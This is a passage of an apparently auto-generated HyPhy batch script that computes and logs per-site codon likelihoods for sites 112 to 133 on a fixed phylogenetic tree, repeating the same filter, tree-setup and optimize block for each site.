sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"112\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 113...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"336,337,338\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 113\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"113\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 114...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"339,340,341\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 114\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"114\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 115...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"342,343,344\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 115\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"115\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 116...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"345,346,347\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 116\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"116\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 117...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"348,349,350\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 117\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"117\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 118...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"351,352,353\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 118\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"118\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 119...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"354,355,356\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 119\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"119\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 120...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"357,358,359\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 120\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"120\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 121...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"360,361,362\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 121\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"121\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 122...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"363,364,365\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 122\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"122\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 123...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"366,367,368\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 123\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"123\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 124...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"369,370,371\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 124\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"124\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 125...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"372,373,374\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 125\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"125\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 126...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"375,376,377\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 126\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"126\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 127...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"378,379,380\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 127\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"127\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 128...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"381,382,383\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 128\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"128\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 129...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"384,385,386\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 129\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"129\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 130...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"387,388,389\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 130\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"130\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 131...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"390,391,392\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 131\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"131\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 132...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"393,394,395\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 132\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"132\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 133...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"396,397,398\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 133\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"133\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 134...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"399,400,401\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 